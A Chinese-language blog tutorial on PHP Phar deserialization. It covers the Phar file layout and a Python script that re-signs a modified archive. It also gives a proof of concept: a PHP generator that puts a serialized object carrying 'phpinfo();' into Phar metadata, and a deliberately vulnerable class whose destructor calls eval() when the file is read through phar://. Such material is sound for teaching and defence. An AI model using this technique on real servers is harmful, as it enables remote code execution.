首页 > 编程语言 >PHP Phar反序列化学习

PHP Phar反序列化学习

时间:2022-10-13 00:33:47浏览次数:55  
标签:文件 PHP phar Phar 序列化 phartest

PHP Phar反序列化学习

Phar

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

Phar文件结构

1、Stub			//Phar文件头
2、manifest	//压缩文件信息
3、contents	//压缩文件内容
4、signature	//签名

Stub

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。

manifest

用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

contents

用于存放Phar文件的内容

signature

签名(可选参数),位于文件末尾,具体格式如下

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

Phar反序列化

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

利用条件

1、phar文件能够上传至服务器 
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化

4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()copy()file_exists()等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化

生成phar文件

copy的代码

<?php 
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name;
    }
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

复现

先访问上面的php代码,生成phar文件

存在漏洞代码,通过file_get_contents触发phar反序列化

<?php
class test{
    public $name="";
    public function __destruct()
    {
        eval($this->name);
    }
}
$phardemo = file_get_contents('phar://phartest.phar/test.txt');
echo $phardemo;

标签:文件,PHP,phar,Phar,序列化,phartest
From: https://www.cnblogs.com/CoLo/p/16786627.html

相关文章

  • PHP基础
    PHP基础写在前面简单过一下php的基础语法,记录下与其他语言不同的地方,相同的就直接略过了。PHP标记风格<?php代码?>官方推荐风格<?代码?>短标记风格,需配置文件ph......
  • PhpStudy+PhpStorm远程调试
    PhpStudy+PhpStorm远程调试环境172.16.4.133:webserver(phpstudy)172.16.4.1:PhpStormPhpstudy配置php扩展钩上xdebugphp.ini修改配置[Xdebug]zend_extension=C:/Us......
  • ThinkPHP 3.2.3 学习
    ThinkPHP3.2.3学习环境要求PHP版本要求PHP5.3以上版本(注意:PHP5.3dev版本和PHP6均不支持)ThinkPHP目录结构下载官方的ThinkPHP后目录如下wwwWEB部署目录(或者子目......
  • dedecms系统php.ini register_globals must is Off的解决方案
    访问后台,报错如下图:成因:由于register_globals设置控制PHP变量访问范围,如果开启会引起不必要的安全问题,所以这里对其进行了强制关闭,如果站长的空间不支持,可以采用以下几......
  • php 二维数组排序
    PHP二维数组排序(简单易懂版)1.先定义一个数组  $data[]=array('volume'=>67,'asd'=>'b','edition'=>2);$data[]=array('volume'=>86,'cc'=>'b','edition'=>1......
  • vscode配置一个PHP的开发环境(已验证)
    背景PhpStorm确实挺不错的,很多功能都集成了,相当方便。但PHPStorm大法固然好,但是至少有四个痛点:耗内存、打开JS慢(很多时候竟不能忍)、功能单一(想开发Java、Python、C?对不......
  • java反序列化漏洞及其检测
    1java反序列化简介java反序列化是近些年安全业界研究的重点领域之一,在ApacheCommonsCollections、JBoss、WebLogic等常见容器、库中均发现有该类漏洞,而且该类型漏洞容......
  • C#中使用Newtonsoft.Json序列化和反序列化自定义类对象
    C#中使用Newtonsoft.Json序列化和反序列化自定义类对象在C#中序列化和反序列化自定义的类对象是比较容易的,比如像下面的一个Customer类,privateclassCustomer{......
  • php代码0-100的素数
    ​​<?php​​​​for​​​​(​​​​$i​​​ ​​= 2; ​​​​$i​​​ ​​< 100; ++​​​​$i​​​​) { ​​​​for​​​​(​​​​$j​​​ ​​=......
  • Java 序列化
    importjava.io.*;/***Java序列化*Java提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存......